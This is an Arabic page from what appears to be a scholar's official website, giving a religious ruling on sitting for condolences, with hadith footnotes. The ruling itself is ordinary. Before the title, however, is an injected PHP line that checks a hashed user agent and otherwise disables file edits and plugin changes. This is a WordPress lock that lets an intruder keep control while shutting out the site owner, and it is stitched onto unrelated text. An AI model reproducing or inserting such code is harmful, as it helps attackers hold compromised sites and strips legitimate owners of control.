if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } حكم الجلوس للتعزية - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

حكم الجلوس للتعزية

الجلوس للتعزية، ما حكمه؟ نقول: ثمة جلوسٌ بدعيٌ منكر، وهو ما يتخذ فيه الناس من السرادقات ويجلبون من القراء وينفقون من أموال عظيمة من مال الميت، أولًا: في الإعلان في الصحف ثم في استئجار هذه السرادقات وجلب اللحوم والطبخ والنفقة على أهل العزاء من ماله، وقد يكون ورثته صغار قُصر، فلا يحل لهم التصرف في مال التركة لكن لو كان هذا المال من مالهم هم، نقول: يجوز عند بعض أهل العلم لكن بدون هذه السرادقات وبدون البدع وبدون القراء لكن لا ينبغي التوسع في هذا، فمن أهل العلم من شدد فيه ومنعه منعًا باتًا واحتج بحديث جرير بن عبدالله البجلي رضي الله عنه: «كُنَّا نَعُدُّ الاجتماعَ إلى أهْلِ المَيِّتِ وصَنْعةِ الطَّعامِ بعدَ دَفْنِه من النِّياحةِ»[1] [هذا حديث صحيح]، ولهذا ينبغي ألا يفتح المسلم بيته للعزاء لكن أيضًا لا يُغلقه غلقًا تامًا فلا يقبل أجد يجيه يعزي، نقول: إذا صليت في المسجد عزوك الناس، عزوك في المسجد قبل الصلاة، عزوك في المقبرة لكن جاء أحد لم يبغله الخبر إلا بعد وجاء لبيتك ما ينبغي أن تتوارى عن الناس، لا تفتحه وتُعطل عملك ولا تمنع من جاء يُعزي فإن الناس قد يشق عليهم، قد لا يتيسر لهم أن يصلوا معك أو يُعزوا أو يحضروا الجنازة في المقبرة فإذا جاء يُعزي، وقد أحسن الناس صنعًا هذه الأيام حينما قصـروا التعزية غالبًا في المسجد وفي المقبرة، لكن نقول: قد لا يتيسر للناس ذلك كله، وأحسن من هذا أن يُخصص وقت قصير للعزاء كما بين العصر والعشاء لا يكون فيه غداءٌ ولا عشاء فيسلم من الاجتماع الطويل وتعطيل الأعمال؛ لأن الناس توسعوا في التعطيل حتى أصبح الموظف والطالب يغيب عن عمله بحجة أنهم يستقبلون المعزين من الصباح الباكر وأصبح هذا العزاء بدل أن يكون تخفيفًا مشقة على أهل الميت، من الصباح الباكر وهم يستقبلون المعزين حتى آخر الليل، حتى ربما أهل الميت القريبين منه ما يستطيعون أحيانًا أن يجلسوا مع أهلهم، مع أمهم إن كان الميت أبوهم، مع أخواتهم ما يجلسون؛ لأن الناس دهموهم رجالًا ونساءً، من الصباح والناس أفواج تأتي، فإذا حُدد وقتٌ مختصرٌ كما بين العصر إلى العشاء أو المغرب إلى العشاء أو العصـر إلى المغرب، نقول: هذا الوقت لا بأس به لأن الناس لا يتيسر لهم كلهم أن يأتوا للمقبرة ولا للصلاة، النساء ليس لهن أن يحضرن المقابر وقد لا يتيسر لهن أيضًا الصلاة وربما كانت معذورة، فتأتي لأهل الميت وتعزيهم.

قد يأتي لهذا العزاء أهل الميت وقرابته الذين هم في خارج البلد ولا تطيب نفوسهم أن يرجعوا وهو قد قطعوا سفرًا، يرون أن جلوسهم فيه تسلية وتقوية وتصبير لأمهم، لأخواتهم، لإخوانهم، فنقول: هؤلاء لا حرج ولو صنع لهم أهلهم وقرابتهم طعامًا لا حرج، قد قال صلى الله عليه وسلم: «اصنَعوا لآلِ جعفرَ طعامًا، فقد جاءهم ما يشغِلُهم»[2] فلو صنع بعض الأقارب أو الجيران طعامًا لهؤلاء الذين قدموا وجلسوا لظروف حالت بينهم وبين الرجوع كون السفر أو كونهم يرون جلوسهم فيه تطييبًا وتخفيفًا للمصاب على أمهم ونحو ذلك فلا حرج، إذن الأمر في هذا ينبغي أن يُقيد بهذه القيود فلا يتوسع الناس في وضع السرادقات وجلب القراء؛ فإن هذا بدعةٌ منكرةٌ ولا أيضًا يبالغون في صنع الطعام حتى تُمد الموائد ظهرًا وليلًا وربما ما يُؤكل إلا القليل ولا يُحسنون التصرف في الباقي ويلزم على الناس كأنها عزيمة بأن كل من حضر العزاء ينتظر الغداء إن كان وقت غداء وينتظر العشاء، نقول: ليس هذا بمشـروع، المشروع أنه يُصنع لأهل الميت طعامًا، أهل الميت، أهل البيت، ومن جاء للعزاء وهو بعيدٌ ليس من أهل البلد، الذي من أهل البلد ينبغي إذا عزى أن ينصرف كما هو فعل أهل العلم من الكبار ممن أدركناهم، يعزون ويمشون.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه الشوكاني وصحح إسناده في السيل الجرار (1/372)، وأيضًا صحح إسناده أحمد شاكر في تخريج المسند (11/126).

[2] أخرجه أبو داود (3132)، والترمذي (998)، وابن ماجه (1610)، والحديث حسنه لغيره الألباني في التعليقات الرضية (1/482).